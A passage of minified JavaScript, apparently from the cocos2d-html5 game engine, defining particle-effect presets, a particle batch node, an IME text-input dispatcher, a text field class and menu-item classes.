  919. b.DH=b.n.extend({G:function(){return this.Wa(b.A===b.$?250:100)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(0,0)),this.Ye(80),this.kg(10),this.ig(-60),this.jg(0),this.Mj(15),this.Nj(0),this.Rg(90),this.Sg(360),a=b.D.R,this.P(a.width/2,a.height/2),this.Yg(N(0,0)),this.Wg(4),this.Xg(1),this.Zg(30),this.$g(10),this.Vg(b.n.vg),this.Tg(this.qb/this.Ue),this.Ze(b.color(128,128,128,255)),this.lg(b.color(128,128,128,128)),this.Xe(b.color(0,0,0,255)),this.gg(b.color(0,
  920. 0,0,0)),this.Rh(!0),!0):!1}});b.DH.create=function(){var a=new b.DH;return a.G()?a:null};
  921. b.FH=b.n.extend({G:function(){return this.Wa(b.A===b.$?150:100)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(-200,200)),this.Ye(15),this.kg(5),this.ig(0),this.jg(0),this.Mj(0),this.Nj(0),this.Rg(90),this.Sg(360),a=b.D.R,this.P(a.width/2,a.height/2),this.Yg(N(0,0)),this.Wg(2),this.Xg(1),this.Zg(60),this.$g(10),this.Vg(b.n.vg),this.Tg(this.qb/this.Ue),this.Ze(b.color(51,102,179)),this.lg(b.color(0,0,51,26)),this.Xe(b.color(0,0,0,255)),this.gg(b.color(0,
  922. 0,0,0)),this.Rh(!0),!0):!1}});b.FH.create=function(){var a=new b.FH;return a.G()?a:null};
  923. b.JH=b.n.extend({G:function(){return this.Wa(b.A===b.$?500:100)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(0,0)),this.Ye(150),this.kg(0),this.ig(-380),this.jg(0),this.Mj(45),this.Nj(0),this.Rg(90),this.Sg(0),a=b.D.R,this.P(a.width/2,a.height/2),this.Yg(N(0,0)),this.Wg(12),this.Xg(0),this.Zg(20),this.$g(0),this.Vg(b.n.vg),this.Tg(this.qb/this.Ue),this.Ze(b.color(128,128,128,255)),this.lg(b.color(128,128,128,0)),this.Xe(b.color(128,128,128,255)),
  924. this.gg(b.color(128,128,128,0)),this.Rh(!1),!0):!1}});b.JH.create=function(){var a=new b.JH;return a.G()?a:null};
  925. b.AH=b.n.extend({G:function(){return this.Wa(b.A===b.$?700:300)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(0.1),this.Ug(b.n.fb),this.hg(N(0,0)),this.Ye(70),this.kg(40),this.ig(0),this.jg(0),this.Mj(0),this.Nj(0),this.Rg(90),this.Sg(360),a=b.D.R,this.P(a.width/2,a.height/2),this.Yg(N(0,0)),this.Wg(5),this.Xg(2),this.Zg(15),this.$g(10),this.Vg(b.n.vg),this.Tg(this.qb/this.dp()),this.Ze(b.color(179,26,51,255)),this.lg(b.color(128,128,128,0)),this.Xe(b.color(128,128,128,0)),this.gg(b.color(128,
  926. 128,128,0)),this.Rh(!1),!0):!1}});b.AH.create=function(){var a=new b.AH;return a.G()?a:null};
  927. b.HH=b.n.extend({G:function(){return this.Wa(b.A===b.$?200:100)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(0,0)),this.ig(0),this.jg(0),this.Ye(25),this.kg(10),this.Rg(90),this.Sg(5),this.P(b.D.R.width/2,0),this.Yg(N(20,0)),this.Wg(4),this.Xg(1),this.Zg(60),this.$g(10),this.Vg(b.n.vg),this.Tg(this.qb/this.Ue),this.Ze(b.color(204,204,204,255)),this.lg(b.color(5,5,5,0)),this.Xe(b.color(0,0,0,255)),this.gg(b.color(0,0,0,0)),this.Rh(!1),!0):!1}});
  928. b.HH.create=function(){var a=new b.HH;return a.G()?a:null};
  929. b.IH=b.n.extend({G:function(){return this.Wa(b.A===b.$?700:250)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(0,-1)),this.Ye(5),this.kg(1),this.ig(0),this.jg(1),this.Mj(0),this.Nj(1),a=b.D.R,this.P(a.width/2,a.height+10),this.Yg(N(a.width/2,0)),this.Rg(-90),this.Sg(5),this.Wg(45),this.Xg(15),this.Zg(10),this.$g(5),this.Vg(b.n.vg),this.Tg(10),this.Ze(b.color(255,255,255,255)),this.lg(b.color(0,0,0,0)),this.Xe(b.color(255,255,255,0)),this.gg(b.color(0,
  930. 0,0,0)),this.Rh(!1),!0):!1}});b.IH.create=function(){var a=new b.IH;return a.G()?a:null};
  931. b.GH=b.n.extend({G:function(){return this.Wa(b.A===b.$?1E3:300)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(10,-10)),this.ig(0),this.jg(1),this.Mj(0),this.Nj(1),this.Ye(130),this.kg(30),this.Rg(-90),this.Sg(5),a=b.D.R,this.P(a.width/2,a.height),this.Yg(N(a.width/2,0)),this.Wg(4.5),this.Xg(0),this.Zg(4),this.$g(2),this.Vg(b.n.vg),this.Tg(20),this.Ze(b.color(179,204,255,255)),this.lg(b.color(0,0,0,0)),this.Xe(b.color(179,204,255,128)),this.gg(b.color(0,
  932. 0,0,0)),this.Rh(!1),!0):!1}});b.GH.create=function(){var a=new b.GH;return a.G()?a:null};b.Q6=500;
  933. b.Dz=b.q.extend({textureAtlas:null,w7:!0,o:null,ub:"ParticleBatchNode",ctor:function(a,c){b.q.prototype.ctor.call(this);this.o={src:b.hc,U:b.gc};"string"==typeof a?this.G(a,c):a instanceof b.da&&this.ta(a,c)},ta:function(a,c){this.textureAtlas=new b.ak;this.textureAtlas.ta(a,c);this.s.length=0;b.A===b.$&&(this.shaderProgram=b.Ld.nc(b.Ti));return!0},$k:function(a,c){var d=b.Da.Bc(a);return this.ta(d,c)},G:function(a,c){var d=b.v7.Waa().Bc(a);return this.ta(d,c)},N:function(a,c,d){if(!a)throw"cc.ParticleBatchNode.addChild() : child should be non-null";if(!(a instanceof
  934. b.n))throw"cc.ParticleBatchNode.addChild() : only supports cc.ParticleSystem as children";c=null==c?a.zIndex:c;d=null==d?a.tag:d;if(a.Qa()!=this.textureAtlas.texture)throw"cc.ParticleSystem.addChild() : the child is not using the same texture id";var e=a.Hh();if(0===this.s.length)this.We(e);else if(e.src!=this.o.src||e.U!=this.o.U){b.log("cc.ParticleSystem.addChild() : Can't add a ParticleSystem that uses a different blending function");return}c=this.KU(a,c,d);d=0;0!=c?(c=this.s[c-1],d=c.cp()+c.qb):
  935. d=0;this.pF(a,d);a.hl(this)},pF:function(a,c){var d=a.qb,e=this.textureAtlas,f=e.totalQuads;a.dG(c);f+d>e.zd&&(this.tW(f+d),e.UM(e.zd-d,d));a.cp()+d!=f&&e.pO(c,c+d);e.JN(d);this.MD()},removeChild:function(a,c){if(null!=a){if(!(a instanceof b.n))throw"cc.ParticleBatchNode.removeChild(): only supports cc.ParticleSystem as children";if(-1==this.s.indexOf(a))b.log("cc.ParticleBatchNode.removeChild(): doesn't contain the sprite. Can't remove it");else{b.q.prototype.removeChild.call(this,a,c);var d=this.textureAtlas;
  936. d.N2(a.cp(),a.qb);d.UM(d.totalQuads,a.qb);a.hl(null);this.MD()}}},Ap:function(a,c){if(!a)throw"cc.ParticleBatchNode.reorderChild(): child should be non-null";if(!(a instanceof b.n))throw"cc.ParticleBatchNode.reorderChild(): only supports cc.QuadParticleSystems as children";if(-1===this.s.indexOf(a))b.log("cc.ParticleBatchNode.reorderChild(): Child doesn't belong to batch");else if(c!=a.zIndex){if(1<this.s.length){var d=this.RV(a,c);if(d.rO!=d.qO){this.s.splice(d.rO,1);this.s.splice(d.qO,0,a);d=a.cp();
  937. this.MD();for(var e=0,f=this.s,g=0;g<f.length;g++)if(f[g]==a){e=a.cp();break}this.textureAtlas.pO(d,a.qb,e);a.O4()}}a.ww(c)}},J2:function(a,c){this.removeChild(this.s[i],c)},Qg:function(a){for(var c=this.s,d=0;d<c.length;d++)c[d].hl(null);b.q.prototype.Qg.call(this,a);this.textureAtlas.MO()},LZ:function(a){a=this.textureAtlas.quads[a];a.M.i.x=a.M.i.y=a.J.i.x=a.J.i.y=a.L.i.x=a.L.i.y=a.F.i.x=a.F.i.y=0;this.textureAtlas.Kk(!0)},Z:function(){b.A!==b.Ea&&0!=this.textureAtlas.totalQuads&&(b.kt(this),b.EN(this.o.src,
  938. this.o.U),this.textureAtlas.PM())},Qa:function(){return this.textureAtlas.texture},sb:function(a){this.textureAtlas.texture=a;var c=this.o;a&&!a.yi()&&c.src==b.hc&&c.U==b.gc&&(c.src=b.SRC_ALPHA,c.U=b.ONE_MINUS_SRC_ALPHA)},We:function(a,c){void 0===c?(this.o.src=a.src,this.o.U=a.U):(this.o.src=a,this.o.src=c)},Hh:function(){return{src:this.o.src,U:this.o.U}},T:function(a){b.A!==b.Ea&&this.zc&&(b.Pm(),this.grid&&this.grid.xf()&&(this.grid.Hs(),this.Oy()),this.transform(a),this.Z(a),this.grid&&this.grid.xf()&&
  939. this.grid.Es(this),b.Om())},MD:function(){for(var a=0,c=this.s,d=0;d<c.length;d++){var e=c[d];e.dG(a);a+=e.qb}},tW:function(a){b.log("cocos2d: cc.ParticleBatchNode: resizing TextureAtlas capacity from ["+this.textureAtlas.zd+"] to ["+a+"].");this.textureAtlas.XF(a)||b.log("cc.ParticleBatchNode._increaseAtlasCapacityTo() : WARNING: Not enough memory to resize the atlas")},EX:function(a){for(var c=this.s,d=c.length,e=0;e<d;e++)if(c[e].zIndex>a)return e;return d},RV:function(a,c){for(var d=!1,e=!1,f=
  940. 0,g=0,h=0,k=this.s,m=k.length,p=0;p<m;p++){var r=k[p];if(r.zIndex>c&&!e&&(f=p,e=!0,d&&e))break;if(a==r&&(g=p,d=!0,e||(h=-1),d&&e))break}e||(f=m);return{qO:f+h,rO:g}},KU:function(a,c,d){if(!a)throw"cc.ParticleBatchNode._addChildHelper(): child should be non-null";if(a.parent)return b.log("cc.ParticleBatchNode._addChildHelper(): child already added. It can't be added again"),null;this.s||(this.s=[]);var e=this.EX(c);this.s.splice(e,0,a);a.tag=d;a.ww(c);a.parent=this;this.vh&&(a.ba(),a.Qh());return e},
  941. Yf:function(){this.textureAtlas.texture.yi()||(this.o.src=b.SRC_ALPHA,this.o.U=b.ONE_MINUS_SRC_ALPHA)},YE:function(){return this.textureAtlas},rG:function(a){this.textureAtlas=a}});n=b.Dz.prototype;b.f(n,"texture",n.Qa,n.sb);b.Dz.create=function(a,c){return new b.Dz(a,c)};b.l6=function(a,c,d){this.Eh=a||Q(0,0,0,0);this.end=c||Q(0,0,0,0);this.duration=d||0};b.k6=b.ja.extend({ctor:function(){b.zi.iM(this)},ry:function(){b.zi.ry(this)},hZ:function(){return b.zi.mM(this)},MM:function(){return b.zi.LM(this)},nE:function(){return!1},JZ:function(){},oE:function(){return!1},KZ:function(){},WN:function(){},IM:function(){},ME:function(){return""},w1:function(){},u1:function(){},v1:function(){},t1:function(){}});
  942. b.pz=b.ja.extend({kc:null,Va:null,Zi:"",Xl:null,ctor:function(){this.Va=new b.pz.rR;this.Xl=N(0,0)},G:function(){if(!b.ib.Ci){this.kc=b.wb("#imeDispatcherInput");this.kc||(this.kc=b.cQ(),this.kc.setAttribute("type","text"),this.kc.setAttribute("id","imeDispatcherInput"),this.kc.resize(0,0),this.kc.PP(0,0),this.kc.style.opacity="0",this.kc.style.fontSize="1px",this.kc.setAttribute("tabindex",2),this.kc.style.position="absolute",this.kc.style.top=0,this.kc.style.left=0,document.body.appendChild(this.kc));
  943. var a=this;b.Ja(this.kc,"input",function(){a.HC(a.kc.value)},!1);b.Ja(this.kc,"keydown",function(c){c.keyCode===b.sq.w4?(c.stopPropagation(),c.preventDefault()):c.keyCode==b.sq.SM&&(a.Qs("\n",1),c.stopPropagation(),c.preventDefault())},!1);/msie/i.test(navigator.userAgent)&&b.Ja(this.kc,"keyup",function(c){c.keyCode==b.sq.nM&&a.HC(a.kc.value)},!1);b.Ja(window,"mousedown",function(c){var d=c.pageY||0;a.Xl.x=c.pageX||0;a.Xl.y=d},!1)}},HC:function(a){var c,d;c=this.Zi.length<a.length?this.Zi.length:
  944. a.length;for(d=0;d<c&&a[d]===this.Zi[d];d++);var e=this.Zi.length-d,f=a.length-d;for(c=0;c<e;c++)this.NM();for(c=0;c<f;c++)this.Qs(a[d+c],1);this.Zi=a},Qs:function(a,c){!this.Va||!a||0>=c||this.Va.ge&&this.Va.ge.WN(a,c)},NM:function(){this.Va&&this.Va.ge&&this.Va.ge.IM()},ME:function(){if(this.Va&&this.Va.ge){var a=this.Va.ge.ME();return a?a:""}return""},N9:function(){if(this.Va)for(var a=0;a<this.Va.Bg.length;a++);},L9:function(){if(this.Va)for(var a=0;a<this.Va.Bg.length;a++);},M9:function(){if(this.Va)for(var a=
  945. 0;a<this.Va.Bg.length;a++);},K9:function(){if(this.Va)for(var a=0;a<this.Va.Bg.length;a++);},iM:function(a){a&&this.Va&&(-1<this.Va.Bg.indexOf(a)||this.Va.Bg.splice(0,0,a))},mM:function(a){if(!this.Va||!a||-1==this.Va.Bg.indexOf(a))return!1;if(this.Va.ge){if(!this.Va.ge.oE()||!a.nE())return!1;this.Va.ge=null;this.dK(a);return!0}if(!a.nE())return!1;this.dK(a);return!0},dK:function(a){b.ib.Ci?(this.Va.ge=a,this.Zi=a.string||"",a=prompt("please enter your word:",this.Zi),null!=a&&this.HC(a),this.Qs("\n",
  946. 1)):(this.Va.ge=a,this.Zi=a.string||"",this.kc.focus(),this.kc.value=this.Zi,this.vV())},vV:function(){/msie/i.test(navigator.userAgent)?(this.kc.style.left=this.Xl.x+"px",this.kc.style.top=this.Xl.y+"px"):this.kc.PP(this.Xl.x,this.Xl.y)},LM:function(a){if(!this.Va||!a||this.Va.ge!=a||!a.oE())return!1;this.Va.ge=null;b.Za.focus();return!0},ry:function(a){this.Va&&a&&-1!=this.Va.Bg.indexOf(a)&&(this.Va.ge&&a==this.Va.ge&&(this.Va.ge=null),b.Oe(this.Va.Bg,a))},sga:function(a){32>a?a==b.sq.nM?this.NM():
  947. a==b.sq.SM&&this.Qs("\n",1):255>a&&this.Qs(String.fromCharCode(a),1)}});b.pz.rR=b.ja.extend({ge:null,Bg:null,ctor:function(){this.Bg=[]},M$:function(a){for(var c=0;c<this.Bg.length;c++)if(this.Bg[c]==a)return c;return null}});b.zi=new b.pz;document.body?b.zi.G():b.Ja(window,"load",function(){b.zi.G()},!1);b.u7=b.ja.extend({Nfa:function(){return!1},Pfa:function(){return!1},Qfa:function(){return!1},Ofa:function(){return!1},Lfa:function(){return!1}});
  948. b.mA=b.W.extend({HM:null,ex:null,h8:null,Qf:"",cm:"",mv:0,ub:"TextFieldTTF",ctor:function(a,c,d,e,f){this.ex=b.color(127,127,127);b.zi.iM(this);b.W.prototype.ctor.call(this);void 0!==f?(this.W0("",c,d,e,f),a&&this.Ct(a)):void 0===e&&void 0!==d&&(this.sd("",c,d),a&&this.Ct(a))},F_:function(){return this.HM},k3:function(a){this.HM=a},z_:function(){return this.mv},oaa:function(){return this.ex},Iha:function(a){this.ex=a},W0:function(a,c,d,e,f){switch(arguments.length){case 5:return a&&this.Ct(a),this.sd(this.cm,
  949. e,f,c,d);case 3:return a&&this.Ct(a),this.sd(this.cm,arguments[1],arguments[2]);default:throw"Argument must be non-nil ";}},Lc:function(a){this.Qf=(a=String(a))||"";this.Qf.length?b.W.prototype.Lc.call(this,this.Qf):b.W.prototype.Lc.call(this,this.cm);this.mv=this.Qf.length},Zk:function(){return this.Qf},Ct:function(a){this.cm=a||"";this.Qf.length||b.W.prototype.Lc.call(this,this.cm)},i0:function(){return this.cm},Z:function(a){a=a||b.k;if(this.Qf&&0<this.Qf.length)b.W.prototype.Z.call(this,a);else{var c=
  950. this.color;this.color=this.ex;b.A===b.Ea&&this.Tw();b.W.prototype.Z.call(this,a);this.color=c}},T:function(a){this._super(a)},hZ:function(){return b.zi.mM(this)},MM:function(){return b.zi.LM(this)},nE:function(){return!0},JZ:function(){},oE:function(){return!0},KZ:function(){},IM:function(){var a=this.Qf.length;0!=a&&(1>=a?(this.Qf="",this.mv=0,b.W.prototype.Lc.call(this,this.cm)):this.string=this.Qf.substring(0,a-1))},ry:function(){b.zi.ry(this)},WN:function(a){var c=a;a=c.indexOf("\n");-1<a&&(c=
  951. c.substring(0,a));0<c.length&&(c=this.Qf+c,this.mv=c.length,this.string=c);-1!=a&&this.MM()},ME:function(){return this.Qf},w1:function(){},u1:function(){},v1:function(){},t1:function(){}});n=b.mA.prototype;b.f(n,"charCount",n.z_);b.f(n,"placeHolder",n.i0,n.Ct);b.mA.create=function(a,c,d,e,f){return new b.mA(a,c,d,e,f)};b.Nv=b.qR;b.Ar="Arial";b.mK=!1;
  952. b.Dc=b.ia.extend({kf:!1,pe:null,de:null,Fr:!1,ub:"MenuItem",ctor:function(a,c){var d=b.ia.prototype;d.ctor.call(this);this.de=this.pe=null;this.kf=this.Fr=!1;d.fl.call(this,0.5,0.5);this.pe=c||null;if(this.de=a||null)this.kf=!0},mda:function(){return this.Fr},Jd:function(){},ue:function(){return!1},qG:function(a,c){this.pe=c;this.de=a},isEnabled:function(){return this.kf},ve:function(a){this.kf=a},$s:function(a,c){this.anchorY=this.anchorX=0.5;this.pe=c;this.de=a;this.kf=!0;this.Fr=!1;return!0},rect:function(){var a=
  953. this.za,c=this.O,d=this.Oc;return Q(a.x-c.width*d.x,a.y-c.height*d.y,c.width,c.height)},selected:function(){this.Fr=!0},Sh:function(){this.Fr=!1},Dha:function(a,c){this.pe=c;this.de=a},Ds:function(){if(this.kf){var a=this.pe,c=this.de;if(c)if(a&&"string"==typeof c)a[c](this);else a&&"function"==typeof c?c.call(a,this):c(this)}}});n=b.Dc.prototype;b.f(n,"enabled",n.isEnabled,n.ve);b.Dc.create=function(a,c){return new b.Dc(a,c)};
  954. b.zl=b.Dc.extend({Rn:null,ac:null,iX:0,er:null,ctor:function(a,c,d){b.Dc.prototype.ctor.call(this,c,d);this.ac=this.Rn=null;this.iX=0;this.er=null;a&&(this.Sr=1,this.er=b.color.WHITE,this.Rn=b.color(126,126,126),this.Ey(a),this.cascadeOpacity=this.cascadeColor=!0)},H_:function(){return this.Rn},l3:function(a){this.Rn=a},V_:function(){return this.ac},Ey:function(a){a&&(this.N(a),a.anchorX=0,a.anchorY=0,this.width=a.width,this.height=a.height);this.ac&&this.removeChild(this.ac,!0);this.ac=a},ve:function(a){if(this.kf!=
  955. a){var c=this.ac;a?c.color=this.er:(this.er=c.color,c.color=this.Rn)}b.Dc.prototype.ve.call(this,a)},Ba:function(a){this.ac.opacity=a},Se:function(){return this.ac.opacity},La:function(a){this.ac.color=a},Re:function(){return this.ac.color},RN:function(a,c,d){this.$s(c,d);this.Sr=1;this.er=b.color.WHITE;this.Rn=b.color(126,126,126);this.Ey(a);return this.cascadeOpacity=this.cascadeColor=!0},Lc:function(a){this.ac.string=a;this.width=this.ac.width;this.height=this.ac.height},Zk:function(){return this.ac.string},
  956. Ds:function(){this.kf&&(this.jl(),this.scale=this.Sr,b.Dc.prototype.Ds.call(this))},selected:function(){if(this.kf){b.Dc.prototype.selected.call(this);var a=this.KE(b.Uu);a?this.q4(a):this.Sr=this.scale;a=b.wd.create(0.1,1.2*this.Sr);a.pG(b.Uu);this.ua(a)}},Sh:function(){if(this.kf){b.Dc.prototype.Sh.call(this);this.r4(b.Uu);var a=b.wd.create(0.1,this.Sr);a.pG(b.Uu);this.ua(a)}}});n=b.zl.prototype;b.f(n,"string",n.Zk,n.Lc);b.f(n,"disabledColor",n.H_,n.l3);b.f(n,"label",n.V_,n.Ey);
  957. b.zl.create=function(a,c,d){return new b.zl(a,c,d)};b.oH=b.zl.extend({ctor:function(a,c,d,e,f,g,h){var k;a&&0<a.length&&(k=b.Wh.create(a,c,d,e,f));b.zl.prototype.ctor.call(this,k,g,h)},sd:function(a,c,d,e,f,g,h){if(!a||0==a.length)throw"cc.MenuItemAtlasFont.initWithString(): value should be non-null and its length should be greater than 0";var k=new b.Wh;k.sd(a,c,d,e,f);this.RN(k,g,h);return!0}});b.oH.create=function(a,c,d,e,f,g,h){return new b.oH(a,c,d,e,f,g,h)};
  958. b.xl=b.zl.extend({Sb:null,$b:null,ctor:function(a,c,d){var e;a&&0<a.length?(this.$b=b.Ar,this.Sb=b.Nv,e=b.W.create(a,this.$b,this.Sb)):(this.Sb=0,this.$b="");b.zl.prototype.ctor.call(this,e,c,d)},sd:function(a,c,d){if(!a||0==a.length)throw"Value should be non-null and its length should be greater than 0";this.$b=b.Ar;this.Sb=b.Nv;a=b.W.create(a,this.$b,this.Sb);this.RN(a,c,d);return!0},Dy:function(a){this.Sb=a;this.iL()},QE:function(){return this.Sb},Cy:function(a){this.$b=a;this.iL()},PE:function(){return this.$b},
  959. iL:function(){var a=b.W.create(this.ac.string,this.$b,this.Sb);this.Ey(a)}});b.xl.Dy=function(a){b.Nv=a};b.xl.fontSize=function(){return b.Nv};b.xl.Cy=function(a){b.mK&&(b.Ar="");b.Ar=a;b.mK=!0};n=b.xl.prototype;b.f(n,"fontSize",n.QE,n.Dy);b.f(n,"fontName",n.PE,n.Cy);b.xl.fontName=function(){return b.Ar};b.xl.create=function(a,c,d){return new b.xl(a,c,d)};
  960. b.rn=b.Dc.extend({jd:null,Ke:null,De:null,ctor:function(a,c,d,e,f){b.Dc.prototype.ctor.call(this);this.De=this.Ke=this.jd=null;if(void 0!==c){var g,h,k;void 0!==f?(g=d,k=e,h=f):void 0!==e&&"function"===typeof e?(g=d,k=e):void 0!==e&&"function"===typeof d?(h=e,k=d,g=c):void 0===d&&(g=c);this.SN(a,c,g,k,h)}},g0:function(){return this.jd},iG:function(a){this.jd!=a&&(a&&(this.N(a,0,b.MR),a.anchorX=0,a.anchorY=0),this.jd&&this.removeChild(this.jd,!0),this.jd=a,this.width=this.jd.width,this.height=this.jd.height,
  961. this.Pw(),a.Mt&&!a.na&&a.Yd(function(a){this.width=a.width;this.height=a.height},this))},r0:function(){return this.Ke},mG:function(a){this.Ke!=a&&(a&&(this.N(a,0,b.zS),a.anchorX=0,a.anchorY=0),this.Ke&&this.removeChild(this.Ke,!0),this.Ke=a,this.Pw())},I_:function(){return this.De},fG:function(a){this.De!=a&&(a&&(this.N(a,0,b.KQ),a.anchorX=0,a.anchorY=0),this.De&&this.removeChild(this.De,!0),this.De=a,this.Pw())},SN:function(a,c,d,e,f){this.$s(e,f);this.iG(a);this.mG(c);this.fG(d);if(a=this.jd)this.width=
  962. a.width,this.height=a.height,a.Mt&&!a.na&&a.Yd(function(a){this.width=a.width;this.height=a.height;this.cascadeOpacity=this.cascadeColor=!0},this);return this.cascadeOpacity=this.cascadeColor=!0},La:function(a){this.jd.color=a;this.Ke&&(this.Ke.color=a);this.De&&(this.De.color=a)},Re:function(){return this.jd.color},Ba:function(a){this.jd.opacity=a;this.Ke&&(this.Ke.opacity=a);this.De&&(this.De.opacity=a)},Se:function(){return this.jd.opacity},selected:function(){b.Dc.prototype.selected.call(this);
  963. this.jd&&(this.De&&(this.De.visible=!1),this.Ke?(this.jd.visible=!1,this.Ke.visible=!0):this.jd.visible=!0)},Sh:function(){b.Dc.prototype.Sh.call(this);this.jd&&(this.jd.visible=!0,this.Ke&&(this.Ke.visible=!1),this.De&&(this.De.visible=!1))},ve:function(a){this.kf!=a&&(b.Dc.prototype.ve.call(this,a),this.Pw())},Pw:function(){var a=this.jd,c=this.Ke,d=this.De;this.kf?(a&&(a.visible=!0),c&&(c.visible=!1),d&&(d.visible=!1)):d?(a&&(a.visible=!1),c&&(c.visible=!1),d&&(d.visible=!0)):(a&&(a.visible=!0),
  964. c&&(c.visible=!1))}});n=b.rn.prototype;b.f(n,"normalImage",n.g0,n.iG);b.f(n,"selectedImage",n.r0,n.mG);b.f(n,"disabledImage",n.I_,n.fG);b.rn.create=function(a,c,d,e,f){return new b.rn(a,c,d,e,f||void 0)};
  965. b.yl=b.rn.extend({ctor:function(a,c,d,e,f){var g=null,h=null,k=null,m=null,p=null;void 0===a?b.rn.prototype.ctor.call(this):(g=b.Q.create(a),c&&(h=b.Q.create(c)),void 0===e?m=d:void 0===f?(m=d,p=e):f&&(k=b.Q.create(d),m=e,p=f),b.rn.prototype.ctor.call(this,g,h,k,m,p))},tia:function(a){this.iG(b.Q.create(a))},Qia:function(a){this.mG(b.Q.create(a))},Sha:function(a){this.fG(b.Q.create(a))},Qca:function(a,c,d,e,f){var g=null,h=null,k=null;a&&(g=b.Q.create(a));c&&(h=b.Q.create(c));d&&(k=b.Q.create(d));
  966. return this.SN(g,h,k,e,f)}});b.yl.create=function(a,c,d,e,f){return new b.yl(a,c,d,e,f)};
  967. b.wz=b.Dc.extend({ed:null,Hg:0,Ud:null,fe:null,ctor:function(){var a=arguments.length,c,d;"function"===typeof arguments[a-2]?(c=arguments[a-2],d=arguments[a-1],a-=2):"function"===typeof arguments[a-1]&&(c=arguments[a-1],a-=1);b.Dc.prototype.ctor.call(this,c,d);this.Hg=0;this.ed=[];this.Ud=0;this.fe=b.color.WHITE;if(0<a){c=this.ed;for(d=c.length=0;d<a;d++)arguments[d]&&c.push(arguments[d]);this.Hg=b.rA;this.Ft(0);this.Ep(!0);this.Fp(!0)}},Se:function(){return this.Ud},Ba:function(a){this.Ud=a;if(this.ed&&
  968. 0<this.ed.length)for(var c=0;c<this.ed.length;c++)this.ed[c].opacity=a;this.fe.a=a},Re:function(){var a=this.fe;return b.color(a.r,a.g,a.b,a.a)},La:function(a){var c=this.fe;c.r=a.r;c.g=a.g;c.b=a.b;if(this.ed&&0<this.ed.length)for(c=0;c<this.ed.length;c++)this.ed[c].La(a);void 0===a.a||a.Cs||this.Ba(a.a)},s0:function(){return this.Hg},Ft:function(a){if(a!=this.Hg){this.Hg=a;(a=this.Ih(b.SG))&&a.VF(!1);a=this.ed[this.Hg];this.N(a,0,b.SG);var c=a.width,d=a.height;this.width=c;this.height=d;a.P(c/2,
  969. d/2)}},fca:function(){return this.ed},Wia:function(a){this.ed=a},QN:function(a){var c=a.length;"function"===typeof a[a.length-2]?(this.$s(a[a.length-2],a[a.length-1]),c-=2):"function"===typeof a[a.length-1]?(this.$s(a[a.length-1],null),c-=1):this.$s(null,null);for(var d=this.ed,e=d.length=0;e<c;e++)a[e]&&d.push(a[e]);this.Hg=b.rA;this.Ft(0);return this.cascadeOpacity=this.cascadeColor=!0},M8:function(a){this.ed.push(a)},Ds:function(){this.kf&&this.Ft((this.Hg+1)%this.ed.length);b.Dc.prototype.Ds.call(this)},
  970. selected:function(){b.Dc.prototype.selected.call(this);this.ed[this.Hg].selected()},Sh:function(){b.Dc.prototype.Sh.call(this);this.ed[this.Hg].Sh()},ve:function(a){if(this.kf!=a){b.Dc.prototype.ve.call(this,a);var c=this.ed;if(c&&0<c.length)for(var d=0;d<c.length;d++)c[d].enabled=a}},rha:function(){return this.ed[this.Hg]},ba:function(){b.q.prototype.ba.call(this);this.Ft(this.Hg)}});n=b.wz.prototype;b.f(n,"selectedIndex",n.s0,n.Ft);
  971. b.wz.create=function(){0<arguments.length&&null==arguments[arguments.length-1]&&b.log("parameters should not be ending with null in Javascript");var a=new b.wz;a.QN(Array.prototype.slice.apply(arguments));return a};b.vq=0;b.uq=1;b.D6=-128;b.WG=5;
  972. b.wl=b.Bf.extend({enabled:!1,fe:null,Ud:0,Rc:null,oe:-1,SL:null,ub:"Menu",ctor:function(a){b.Bf.prototype.ctor.call(this);this.fe=b.color.WHITE;this.enabled=!1;this.Ud=255;this.Rc=null;this.oe=-1;this.SL=b.va.create({event:b.va.Ou,Lt:!0,tp:this.cX,qt:this.gX,pt:this.eX,ot:this.dX});0<arguments.length&&null==arguments[arguments.length-1]&&b.log("parameters should not be ending with null in Javascript");var c=arguments.length,d;if(0==c)d=[];else if(1==c)d=a instanceof Array?a:[a];else if(1<c){d=[];
  973. for(var e=0;e<c;e++)arguments[e]&&d.push(arguments[e])}this.MN(d)},ba:function(){var a=this.SL;a.pf||b.sa.addListener(a,this);b.q.prototype.ba.call(this)},Re:function(){var a=this.fe;return b.color(a.r,a.g,a.b,a.a)},La:function(a){var c=this.fe;c.r=a.r;c.g=a.g;c.b=a.b;if((c=this.s)&&0<c.length)for(var d=0;d<c.length;d++)c[d].La(a);void 0===a.a||a.Cs||this.Ba(a.a)},Se:function(){return this.Ud},Ba:function(a){this.Ud=a;var c=this.s;if(c&&0<c.length)for(var d=0;d<c.length;d++)c[d].Ba(a);this.fe.a=a},
  974. isEnabled:function(){return this.enabled},ve:function(a){this.enabled=a},QN:function(a){var c=[];if(a)for(var d=0;d<a.length;d++)a[d]&&c.push(a[d]);return this.MN(c)},MN:function(a){if(b.Bf.prototype.G.call(this)){this.enabled=!0;var c=b.Vt;this.P(c.width/2,c.height/2);this.$d(c);this.fl(0.5,0.5);this.Cx(!0);if(a)for(c=0;c<a.length;c++)this.N(a[c],c);this.Rc=null;this.oe=b.vq;return this.cascadeOpacity=this.cascadeColor=!0}return!1},N:function(a,c,d){if(!(a instanceof b.Dc))throw"cc.Menu.addChild() : Menu only supports MenuItem objects as children";
